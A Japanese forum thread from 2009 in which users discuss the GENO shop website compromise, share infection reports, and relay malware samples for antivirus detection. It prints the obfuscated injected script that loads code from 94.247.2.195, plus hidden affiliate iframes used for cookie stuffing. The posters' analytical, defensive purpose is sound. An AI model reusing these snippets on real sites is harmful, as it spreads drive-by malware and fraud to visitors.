　　　　　　,ｲ｢ﾄ､　　,!　,!|.../_| |l: ＞ .ヽ.. ィ ＜l 　 l|
　　　　　/　iﾄヾヽ_/　ｨ"＼. | | ＼ ＼ｰ'/ ./ ,,;:`:;'ﾞ

初音ミク関係の普通のマイコミの記事なんだけど、
アクセスすると認証画面が出てくるんだけどなんでだろ？
http://journal.mycom.co.jp/news/2009/04/11/015/index.html

>>602-603
zip!!zip!!

かわりにセキュ板貼っとくよ

ひさしぶりにみにきたけど、また発展してるのなｗ

>>607
すまぬ、よろしくお願いします。m(_ _)m

http://tane.sakuratan.com/upload/upload.cgi?mode=dl&file=278
DL 　： geno
解凍.： virus

入手元　94.247.2.195　(geno関連)

セキュ板のgenoスレと、鑑定スレ（下記）に貼ってくれると助かる。
　【鑑定目的禁止】検出可否報告スレ10
　http://pc11.2ch.net/test/read.cgi/sec/1235459712/

>>609
鑑定スレじゃねぇ、検出スレだ。　鑑定とか書いたら怒られるわ。(汗

# 俺も住人（検出お手伝い）ではあるけど...巻き添え規制でしばらく手伝えん状態なのであった。

>>609
転載確認しました。　ありがとう。m(_ _)m

ウイルスがきっかけで新しいPCへ変えたんだが
環境移行したらagent.exeが起動してる・・・・
regeditが動いたんで掃除したら直ったけどマジで青くなったわ

>>612
流出系ウイルスを踏んだと気付いたときはその100倍青くなれるぜ＾＾

　　　∩_∩∩_∩
ガク((;･ω･)･ω･))ブル
　　 ｜　 つ⊂ ｜

４／４にgeno踏んで、火狐固まり、２ｃｈチェックして事態に気づきHDD換装、再インスト掛けた。

今日、前のHDDをスキャンしてみたら、Pagefile.sysにトロイが見つかった。

2ch見ないような客は気づかずに使ってるんだろうね。。
でよく落ちるからって　Genoで買い換えか？！

>>609
602です。てか、串通してるわけでもないのに何でアラバマ州なんじゃ。(w

ええと、検出スレの方で指摘がありましたが、中に入っていたvirus.swfはJS（スクリプト）でした。申し訳ない。
こちらでもファイルをエディタで開いて確認しました。　IEのキャッシュから引きずり出したんだけど、手違いをしたらしい。

で、id=3の方なんだけど、こちらでは踏んでも何も落ちてきませんでした。向こうも一休み中かも...油断はできませんが。

id=10については、>592さんと同じ物が落ちてきました。ファイル名はランダムなんで、>592さんと同じくu2.exeに名前を変えてパス付きzipでアップしました。
　http://tane.sakuratan.com/upload/upload.cgi?mode=dl&file=279
　DL 　： geno
　解凍.： virus
　http://www.virustotal.com/jp/analisis/0b323d289f2881538ceaea3b267dea1c

余裕のある方、検出スレ（>>609）に転載お願いします。m(_ _)m

612です
>>617はあっち側に書きしました
602さん御確認くださいますようお願い申し上げます

>>618
確認しました。　ありが�d。m(_ _)m

# こういう時、規制に巻き込まれてると不便なんだよねぇ...規制の予定だと、４月が終わるまでセキュ板に書き込めない。

こんな危ないウイルスばら撒いといてよく何もなかったように営業できるな
俺は怒ってるんだぞ

一応、Ａｖａｓｔの結果を貼っておく。

Sign of "Win32:Agent-MYB [Trj]" has been found in "E:\pagefile.sys" file.

Ｅドライブはｇｅｎｏ踏んだときのＨＤＤね。

BDCはLaもu2も軽やかにスルーｗ

不正アクセスをされたまではGENOは被害者だけど、それを知っていたのにも関わらず
営業を優先させて被害を拡大し、隠蔽した時点でもう加害者だよね。

>>578
遅レスだけど、駆除については一応セキュ板に載ってた
なるべくならおとなしくOS再インストールが無難だとおもう

サイインスコ完了。もうｖｉｓｔａにした。
土曜の午前中の貴重な時間が潰れた。gen0も潰れてしまえ

>>623
だよな
報告があったにもかかわらず無視して無数の顧客に被害を
拡大させたんだから被害者が告訴するなりすればいけるのかな

こういう場合、不正アクセス禁止法はいまいちなんだよな。
管理者側については努力義務だしなあ。
不正アクセス禁止法
http://www.ipa.go.jp/security/ciadr/law199908.html

器物損壊でいけるのかは正直わからんぽい。
http://kiyosakari.blog105.fc2.com/blog-entry-58.html

会社くびになった例の人なら電子計算機損壊等業務妨害罪いけるかも

>>623
したかどうかも不明なおざなりな対策で活動再開ってのは
過失じゃなくて未必の 故意 にあたるんじゃないか?

こういうのを放置されると、顧客や取引先のみならず、一般企業でも
業務上必要なウェブアクセスにイレギュラーな用心が必要になるから、
業務妨害で告発したくらいだ。

警察は「小女子焼き殺す」なんてどうでもいいネタを相手にしてないで
こういう社会に迷惑をかける企業を何とかしろ、と思う。

踏んだからまとめサイトの確認試したけど
特に引っかかるところも無いってことは助かったのかな？

この問題、もっと世間に広める必要がある。

誰か再現動画とGENOの悪行について、動画つくってニコにあげるべし！

広く知らせるならつべだろ

http://www.geno-web.jp/Goods/GA07031000

[良品中古] Intel Pentium4 2.40GHz Socket478 (512KB/ 800MHz/ −)
　 　
[商品番号] GA07031000
[販売価格] 99,999,999 円

踏まないが約一億、荒稼ぎでござるの巻

genoはマジコンも売ってるぞ
ウィルスも任天堂の訴訟も怖くないんだな
流石だぜww

>>631
うそだと思ったらホントだったw
ttp://lh6.ggpht.com/_ZF2foblx_lc/SeA1_eqUUEI/AAAAAAAATcc/oDv9HAXxSBs/99999999yenPen4.png

>>631
誰か、代引きで買ってみて

俺のPen4も売ってくるか

>>631
一億-1か、かなり豪華だな。

クリーンインスコしたけどどうやらwindows2000のsqlsodbc.chmは
まとめサイトのＸＰのやつとはハッシュも容量も違うんだね。
感染してないのに無駄な確認をしてしまった
これである意味被害者だな俺も。
お詫びセールまだぁ

改竄したやつは何を理由にやったんだ

>>631>>634-635
genoが価格とか弄ってるときになる。
それが終わればまともに戻る。

今は売上ほとんどないだろうからどれだけチェックされてるのか
試してるんじゃないの？ｗ

>>638
SQL ServerやMSDE、MDAC等のバージョンによって変わるから。
本当にsqlsodbc.chmを書き換えるんだとしても、チェック項目としては
適切じゃないと思う。

>>638
中途半端に感染しかかってた可能性もなくもないし
入れなおしてすっきりしただろうし
損はないとおもうよ

このウイルスのせいでVistaが安全だと誤認識されてしまってるね。
たまたまUACが発動するような行動をするウイルスだったというだけなので油断は禁物だ。

>>631
www

はやく廃業しろ

＞げっげっ　げげGENOげー♪
＞で替え歌作ってくれ。
という要望があったので作ってみた


【ﾀｲ━||Φ|(|ﾟ|∀|ﾟ|)|Φ||━ﾎ!!!】ゲゲGENO来た牢【されればいいのに】

ゲッ　ゲッ　ゲゲGENOゲー
サイト　放置で　グーグーグー
おかしいな　おかしいな
ウイルスばら撒いて　謝罪も　なんにもない
ゲッ　ゲッ　ゲゲGENOゲー
みんなで訴えよう　ゲゲGENOゲー

ゲッ　ゲッ　ゲゲGENOゲー
GENOが対策　公開だ
おかしいな　おかしいな
キャッシュを消しときゃ　危険も　なんにもない？
ゲッ　ゲッ　ゲゲGENOゲー
みんなで訴えよう　ゲゲGENOゲー

ゲッ　ゲッ　ゲゲGENOゲー
今だセキュソフ　特売会
楽しいな　楽しいな
客足落ちない♪　倫理も　なんにもない
ゲッ　ゲッ　ゲゲGENOゲー
みんなで訴えよう　ゲゲGENOゲー
みんなで訴えよう　ゲゲGENOゲー
みんなで訴えよう　ゲゲGENOゲー……

感染経路不明なんでしょ？
再開してもまた仕込まれる可能性ってない？

>>648
ある

>>648　あるのでみんな躊躇してるんだと思う
genoは感染の発表すらしないしね

鯖管理者が安易なpasswordでftpでうｐしてたのが漏れたらしい
海外でも同様のことが起こってる

GENOは後処理を完全に間違えたな。

www geno web jpを
リンクページで検索したらできない。

　　　∩_∩∩_∩
ガク((;･ω･)･ω･))ブル
　　 ｜　 つ⊂ ｜

土日で再汚染
((((；ﾟДﾟ))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

このショップのトボケっぷり凄すぎるな

やっと終わった。スゲー疲れた。

genoの他の検索キーワードからウィルスが消えてるw

こういう対応だけは早いんだ。。。

trojanとして検出されたのを消すだけじゃだめなんだよな…？
10個くらい見つかって全部消したけど、まだたぶん残ってるんだよなこの様子じゃ。

http://www.geno-web.jp/Goods/GA07031000

>>585
F-Secureはどうなったんだ・・・
もしかして使ってるやつ少なかったりするのか

genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス
genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス
genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス
genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス
genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス
genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス
genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス
genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス
genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス
genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス genoウイルス

googleの兄貴支援。

>>661
>>631

>>644
UACが関係あったわけじゃなくてUserAgentで
偶然スルーされてただけだよ
UACが原因でスルーされてたかはわからないよ

>>660
なんかもう他もいろいろ入ってて宝石箱状態だと
思うんでOS入れなおしたほうが良いわ

UACが反応しないなら危険度は低いでしょ
システムを弄っていないと分かるわけだから

昨夜、ここのリンク踏んだらウイルス警告でた。
例のGENOウイルスかと思いキャッシュクリアしたけれど、
さっきウインドウズ再起動したら起動時スキャンでJS.Downloader.vc.3096が発見。
アドビリーダーとフラッシュもアップデートしたのに。
このレスは２月１１日だけど当時から感染してたのかな？

サイズ電源を語れヽ( ﾟДﾟ)人(ﾟДﾟ )ﾉ
http://pc11.2ch.net/test/read.cgi/jisaku/1227799898/219

このウイルスってあちこちのサイトでもはられているんじゃないの？
ここだけじゃないと思うんだが

↑マルチ

>>665
あれ、そうなんだ、すまそ。

>>667
世の中にはOSを破壊せずに人生を破壊するウイルスがあるから油断は出来ないｗ

>>660
> 10個くらい見つかって全部消した

工エｴェｪ（´д｀）ｪェｴエ工工

>>18
針が大きすぎるよ君ィ

>>667
皆が騒ぎすぎなんだよな

各GENOスレで過剰に書くと訴えられるって必死に書く人いますね
裏を返すと民事的にでも訴えられちゃうと他の部分含めて都合悪いのかな？
いきなり攻撃的な火消しばかりしないで、もっとSTEP踏んで考えようぜｗ

　　/￣￣￣ / 　/''７ ./''７　　　　　　　　/￣/　 /''７
　./ ./￣/　/　　/__/ /　/ 　＿＿＿_　　 ￣　　/　/
　'ー'　_/　/ 　 ＿__ノ　/　 /＿_＿＿/ 　 ＿__ノ　/
　　　/___ノ 　 /＿___,.／　　　　　　　　 /＿___,.／

　　　_ノ￣/　/￣/　 /''７　/￣￣￣/　　　/￣/　　　　　　　　　　　 　/'''７'''７
/￣　　／　　 ￣　　/　/ 　 ￣ ﾌ　./　　　/　　ﾞー-; 　 ＿＿＿_　　　/　/　/.＿
￣/　/　　 　 ＿__ノ　/　 　__／　 (___　　/　 /ｰ--'ﾞ　/＿_＿＿/　_ノ　/i　 i/ ./
　/__/　　　/＿___,.／　　 /___,.ノゝ＿/　/＿/　　　　　　　　　　　/__,／　ゝ､__/

>>658
知らずにウイルスに感染してる人が認識する最後の手段を奪うのか

>>668
仮想マシンで踏んだら、AntiVirが怒りました。(w

いつからなのかは知らんが、トロイのダウンロード用スクリプトが埋め込まれてるね。
検出結果 virustotal　http://www.virustotal.com/jp/analisis/7a625ca82de3a432e992b6280f549dc1

で、多分そのページだけじゃなく、破格値どっと混むの全部のページにスクリプトが埋められている感じがする。
ランダムに５個ぐらい飛んでみたけど、どこでも同じスクリプトが引っかかる。

　blog-imgs-10-origin.fc2.com/f/r/e/freak777/vanner.js

この、vanner,jsってのがトロイのダウンローダー本体。　故意なのか改ざんされたのかは不明。
検出できてるソフトが少ないから、そのスレで教えといた方が良いかも。

>>631
これ、またクラッカーに改竄されてんじゃね？
浸入口塞がれてないのかも・・・

侵入口

>>678
飛び火してるな

>>668
>678への自己レスです。

実際にAntiVir切って実行してみたんですが、スクリプトがファイルをダウンロードする元のサイトが既に無さそう。
エラーが出て、何も落ちてきませんでした。

そのサイトを昔（ダウンロード元のサイトが生きてる頃に)踏んだ人は、何らかのウイルスに感染しているか、
バックドアが仕掛けられているかもしれませんが、とりあえず昨日今日なら、ウイルススキャンして何も無ければ
大丈夫ではないかと。

>>592
それ、ウイルス本体だな。ファイル名が変わるよね。
結論としてはどのメーカーもウイルスとして認識しないってことだな。
ちなみに、トレンドマイクロのPAK_Genericってのは
「圧縮してんよこいつ！」って意味でしかないから
ウイルスとして認識してるかっていうと微妙。
正常ファイルでも「圧縮してんよこいつ！」となることもあるし。
esafeも「怪しい」って程度のもんだから同じ理由だな。
これを凄いとかは全く言えないと思うし、これはある意味しゃーないんじゃないの？
exe落とし込むpdfやswfを徹底的に防いだ方が意味あるってことだし。
前にpdfを上げてた人のあったけど、そっちはかなり検知率上がってきた。

p://www.geno-web.jp/Goods/GA08158750

これも常識で考えて、変と言うか、こんなあほなことするかと。
これも改竄臭い。
マジでGENO巡回するのやめよう。危なすぎる。

>>678
とろい違うっつーの
タダのiframe

<iframe src="http://www.amazon.co.jp/gp/redirect.html?ie=UTF8&location
=http%3A%2F%2Fwww.amazon.co.jp%2Fgp%2Fslides%2Fmake-money.html%3Fpf%5F
rd%5Fm%3DAN1VRQENFRJN5%26pf%5Frd%5Fs%3Dleft-nav-3%26pf%5Frd%5Fr%3D00SV
8SBX757SKDDMXB5J%26pf%5Frd%5Ft%3D101%26pf%5Frd%5Fp%3D70095606%26pf%5Fr
d%5Fi%3D489986&tag=dmoney-22&linkCode=ur2&camp=247&creative=1211" heig
ht=0 width=0></iframe>

<iframe src="http://ck.jp.ap.valuecommerce.com/servlet/referral?sid=23
60859&pid=875183741&vc_url=http%3a%2f%2fshopping%2eyahoo%2eco%2ejp%2fi
nfo%2fpoints%2fshopping_points%2findex%2ehtml" height=0 width=0></ifra
me>

<iframe src="http://pt.afl.rakuten.co.jp/c/099f3de5.99a963c6/?url=http
%3a%2f%2fwww.rakuten.co.jp%2fdoc%2finfo%2frule%2fservice.html" height=
0 width=0></iframe>

ちなみに↓のスクリプトを悪用してる
http://www.usamimi.info/~geko/index.html
このサイトは結構すごい


iframeのリンク踏んだ後はcookie消しとけよ

>>682
ようするにスキルないんだからでしゃばんな糞

と言いたい

>>686
了解した。　じゃあ、後は全部任せるんでよろしくね。

乙

船がたどり着かないんですけど・・・

>>674
おつかれさまです

ν速が削ストで祭り状態。

ZIPスレ
http://tsushima.2ch.net/test/read.cgi/news/1239446609/l50

こんなのに乗じたら、感染者爆発のパンデミック状態だwwww

絶対やるなよwwwwwwwww

>>678 >>682
それは本体とは言わない。ただのスクリプト。
blog-imgs-23.fc2.com/f/r/e/freak777/system.html
を読み込むようになっているが、存在しない
(先日のFC2ブログの仕様変更でakamai広告無しだとoriginが付くのを知らないのかも)。
>>685 にある国産のショボい難読化スクリプトで作られているため
ヨーロッパ産まれと思われるGENOトロイとはおそらく関係無いだろう
(この手のツールはヨーロッパや中華のがよっぽど充実している)。

ほぼ毎日GENOサイト見てた者です

今週頭の月曜日とか火曜とかトップがメンテナンス中ってなってて、
でもログインページとか開くと左ペインにいつものメニューが見えて
飛んだら普通にページ見れたからプロキシのせいか？とか思ってた

んで火曜の夜にセキュホmemo見て初めて知った。。。

>>691
またお前そればっかりだな

adobeかfoxitリーダー使ってなきゃ感染しないのかな？

>>692
存在したよ
たぶん当のアフィ乞食がリファラからこのスレ辿って気がついて消したんだろう
system.htmlの中身は俺が貼ったやつ

vista大勝利

iframeが理解できて、acrobatやflashのプラグインが有効なブラウザ
且つ、acrobatとflashが最新バージョンじゃない状態で
先週の金曜日から今週の火曜日くらいまでGENOにアクセスした場合は
感染濃厚ってことだよね？

はぁぁぁ。さっきようやくflashを最新にしたよ。
やっぱりクリーンインストールしかないのか。。。

経済効果額が100億と出ました

>>696
それは強制クッキーだな。

それはどっちかというとアマゾンとバリューコマース、楽天に
通報してそのアフィ厨を強制退会させる様に迫ればおｋ。
その方がアフィ厨に確実にダメージ与えられるよ。

で、今はアフィリエイト提供事業者側が悪質なアフィ厨に関するブラックリストを共有しているんで、
仮にA8とか、今回不正に用いていない所なんかにも新たに入会出来なくなるし、
あとは金が尽きてそのアフィ厨が金に困って強盗でもして捕まるか、自殺するのを待つだけになる。

注文0.1騒動
↓
また２ちゃんねらーどもか
↓
トップに細工してやれ。どうせ前に公開串にされたし、乗っ取られたことにしとこう。

こんな感じ？

久北
まだやってるのか

未だに完全駆除可能なアンチウイルスソフト無し
未だにウイルスの活動内容不明
未だにgenoから正式な謝罪無し

この状況で沈静化するわけねえｗ

げの開いたら３００Mぐらいメモリ消費してたっけなぁ
ブラウザ再起動したら７０Mぐらいまで落ちてワロタ

genoウイルスage

で、フリーのセキュリティソフトは何がお勧めなの？
アンチウィルスソフト、FWそれぞれ何がいいのさ？

>>706
スレ違いの純情

>>706
Avira Antivir とComodoの一択
PerlのIDEはKomodoの一択

つう事でコネチの俺が勝利宣言

おまえら結局口だけだったなｗ

様子見てただけで勝利宣言かよ
めでてーな

自分のブログのアクセス解析してたら怪しいURLがあったんだけど。
(どのサイトから俺のブログに飛んだか、ってやつ。)
これはブログ一旦消した方がよいのかね。
関係なかったらすまん。

XPってリカバリディスク無いと再インスコできないんだっけ？

>>712
今のメーカーＰＣはリカバリディスク別売りでＨＤＤ内にリカバリ領域持ってるってのもあるよな

>>706
わからないなら普通に買ったほうが良いよ

>>695
ReaderだけじゃなくFlashもアウトらしい

>>713
うーんやっぱりか
最悪の状況こそ回避したものの挙動がすごく不安定なんだよな
ネットブラウザがポンポン落ちたりスタートアップのアプリがすべて起動しなかったり
どうしようか

それは回避しきれてないとおもうんだよ

>>716
それって思い切り感染状態なんだが
ちなみにregedit.exeは動くか？
動かなかったら諦めてクリーンインスコしろ

>>581
レス読まずにカキコ
それhlpファイルじゃね？

>>718
動かないｗ
リカバリディスク買うか・・・

リカバリ領域を襲ってたら怖いのう

>>719
そうですよ
581まで読んでるなら他も読めばいいのに

　　　∩_∩∩_∩
ガク((;･ω･)･ω･))ブル
　　 ｜　 つ⊂ ｜

OperaでJavaScript、JAVA、プラグイン無効でアクセスしたのに感染したっぽい。
ハードウェアが大幅に変更されたとか言われたが全く変更してないし正規のXPなのに

もう許してやれよ

お前らが騒いでも何の効果も無いし

でまだ危険状態は続いているわけ？

http://www.げの-web.jp/Goods/GA07031000
[良品中古] Intel Pentium4 2.40GHz Socket478 (512KB/ 800MHz/ −)　 　
[商品番号] GA07031000
[販売価格] 99,999,999
[ポイント] 1
[在庫数] 7


正常じゃないことだけは確か

>>727
だいぶ前からたまに見かけるけど？w

>>725
俺のパソコン2台壊されて許すも何も

>>729
ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

【ソース】激辛系の調味料【スパイス】 7辛目
http://gimpo.2ch.net/test/read.cgi/salt/1236600002/42-/

これはGENOなんかなあ　どうだろ

ウィルスでパソコン壊れるとか言う奴はもういないと思ってた

ID:g6SEJUpr
ID:2tdCnggL

チョン臭いな

これに限らず擁護レスって
コネチカットが妙に多いよなｗ

>>731
利用者からの通報を受けて一時閉鎖し、サーバー会社と連絡を取りながら確認作業中とのこと。
ソースチェッカーオンラインに残っていた「2009/04/10 13:38」のキャッシュを見たら、
<script src=//94.247.2●195/jquery.js></script>になるコードがあった。的中だね。

これ既出？

★No. 179 管理人 2009/01/25 16:51　

サイトの改竄にご注意下さい
先日、ご自分のサイトが勝手に改竄されたという相談があり、FTPのログを
調べましたところ、同様の手口で被害に逢われた方が他にもおられた事が
判明しました。

こちらで把握した方々には連絡済ですが、ログは一ヶ月分しか残していない
ため、他にも同様の手口で改竄された可能性がありますのでご注意下さい。

今のところわかっている事は次の通りです。

・FTPを使って index.html を読み出し、何らかの改竄をして上書きされる
・改竄によって、閲覧者はウイルスの仕込まれたサイトに接続させられる
（ウイルス名はTrojan-Downloader.HTML.Agent.mu　ただし違うケースもある）
・FTPの接続元は、海外（ラトビア共和国）
・パスワードアタックをされた形跡はない
・パスワードを変えてもすぐに同じで被害に逢う

以上の事から、何らかの手段でパスワードが盗まれたものと思われます。
また、パスワードを変えても再度被害に逢う事から、ウイルスやマルウエア
などによるものと考えられます。

もし、このような事に遭遇しましたら、ご自分のPCをウイルスチェック
した後にパスワードを変更して下さい。また、パスワードは誰にも知られ
ないよう管理にご注意下さい。

http://kemono.cc/sys/kemonobbs.cgi

初見だな
サーバ管理者側はどういう経路でしこまれたのか
まだわかってないんだよね
メールなんてそうそうひっかかるもんじゃないと思うんだけどなあ

一応セキュ板にも貼っとくよ

パスワードをかえても被害にあうってことは
GENOは原因を除去できたのかな

>>736
> 尚、サーバーのウィルス感染や個人情報の流失はございません。

これが嘘っぱちだったってこと?

>>740
それは最初からだれも信じてないと思う

真っ先に自分の所へアクセスした証拠（キャッシュ）を消せと言うような店だしな

>>740
何時の間にか「流出」に訂正されとるぜ。
日付は変わってないから、「キャッシュ消してくれ」と同等の証拠隠滅の意図かもなｗ。

キ....キサマラ雑魚に......こ、ここまで手こずるとは.............
喰らえ.........GENO流奥義!!..................必殺!!.....証 拠 隠 滅 !!!!!!!!!!!!!!!!!!!!!!ﾃﾞﾘｬ〜〜

>>743
ここだったか忘れたが2chで指摘されて1時間しないで変わったはず。
改竄も指摘されたすぐ後に直ってたしずっとチェックしているんじゃない？

２ちゃんに書き込んだりチェックする暇がある癖に何日もウイルス放置
極悪店じゃないか

>>736
>・パスワードを変えてもすぐに同じで被害に逢う

GENOの説明の「外部からのアクセスができないように対処いたしました」というのは
パスが漏れる理由が分からないから、FTPの接続をIPかドメインで制限したって事かｗ

GENOには危なくて近寄れんな。

686 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/04/09(木) 23:34:30
今年に入って必死にスパム送りまくってロガーからftp手動で頑張って流行らそうとしてるktがいるんだろ

　　　∩_∩∩_∩
ガク((;･ω･)･ω･))ブル
　　 ｜　 つ⊂ ｜

利用してよかった通販パソコンショップは？ - 口コミ評判比較ランキング - GENO
http://www.nandemo-best10.com/f_pcshop-tuhan/z127.html

>>736
そういやにゅすけさんとこもサイト改竄されてウイルス仕込まれたって日記にあったな

firefoxスタートページ→5分くらいフリーズ→復活→
ちょこちょこ動かす→フリーズ→復活→うごかす
→フリーズ→「仮想メモリが少ないです」的な警告

これはやってしまったということでしょうか？

>>752
ご冥福をお祈りします

なんでこの時期に・・まさか国策(ry

久しぶりにのぞいたらまだ続いてたｗｗｗｗｗｗｗｗｗ

これは陰謀だよ
嵌められたんだ

げの不買運動始めますた
もともと見るだけで利用したことはないんだけどね

不買もなにも、怖くて近寄れないし・・

またウイルス復活したって本当？

　　　∩_∩∩_∩
ガク((;･ω･)･ω･))ブル
　　 ｜　 つ⊂ ｜

まだやってんのかよ

こういう件は、IPAの窓口に届けると対応が期待できる。
さすがにいきなり警察に送っても対応できんだろ･･･。


コンピュータウイルスを発見、またはコンピュータウイルスに感染した場合には、
感染被害の拡大と再発防止に役立てるために、IPA/ISEC に届出をして下さい。
届出の際は、以下の届出様式をご使用下さい。届出は、郵送、FAX、E-mail、
Webにて受けつけております。
http://www.ipa.go.jp/security/outline/todokede-j.html

firefoxのnoscript愛用者いますか？

こういう時アンチウィルスソフトの
価値が決まるよな。

逆にFxつかっててNoScriptいれてないやつって何なの？

アンチウィルス頼りじゃ対応するまで何日も防げない。ソフトウェアは常に最新に保つようにしないと。

げの

専門家に聞く　コラム
Q&A コラム
現場から 【緊急警報】マルウエアが暴れています。
田中 とも彦 専門分野：Webサイト制作 2009/04/08 12:12 コンテンツ評価：20pt
【緊急警報】マルウエアが暴れています。
某担当が弊社で管理をしているサイトをレビューしていたら、アンチウィルスソフトより警告がでました。

「マルウエア」です。

送信先は　94.247.2.195　です。
こんなサイトは注意。
Flashを用いているサイト。

駆除方法（サイトを訪問してしまった方）
AdobeのFlashとAcrobatを最新のものにして下さい。

Windows Updateをして下さい。

アンチウィルスソフトで駆除して下さい。

何もやらずにパソコンを終了すると、二度と起動してくれなくなる可能性があります。

>>768
駆除方法（サイト管理者）
怪しいJS(JavaScript)が記述されています。

　.jsまたは　.htmlなどに次ぎのソースが記述されていたら削除して下さい。

document．write（unescape （'%3C4x4sWXkcr4Si4x4plct4x4%20P0srP0cWXk%3DC2
%2F %2F4x49lc4lc%2EP02C247lc%2E4S2%2E1lc95%2FP0jP0qu4x4erP0y%2Ejs%3E4x
4%3Cmb%2FC2s4x4cript4S%3E'）． replace（/WXk|4S|P0|4x4|mb|lc|C2 /g,""）

この記述を解読すると「94．247．2．195／jquery．js」となっており

このIPへアクセスをしてしまいます。 参考サイト（有志の皆さんに感謝）
「半角カナのように」さんのサイト PC通販ショップGENOのサイトにマルウェア
（ウィルス？）仕込まれて騒動中

「（む）ぶろぐ - リネージュ2個人情報サイト」さんのサイト
PCショップ「GENO」ウイルス感染っぽい[ パソコン関連 ]


株式会社ハマ企画 代表取締役

田中 とも彦 （Webプロデューサー）

経験を活かした技術力で、ユーザビリティの高いサイトを構築

Webサイト制作，ITコンサルティング・企画 ユーザビリティ・アクセシビリティ改善，
Webサイト企画・設計，ログ解析・効果測定

感染したPCでネットに繋ぐようなことを簡単に促す専門家はどうかと思う

genoを許す許さないじゃなく（許さないけど）
同じ手口を使ったものがどんどん広がっているのが問題だな

genoを許す許さないじゃなく（許さないけど）
キャッシュ消せやサーバートラブルで済ますのがどんどん広がっているのが問題だな

Windows Updateが出来ない症状が出てるケースを把握してない
売名か？
売名失敗だな＞株式会社ハマ企画 代表取締役

田中 とも彦 （Webプロデューサー）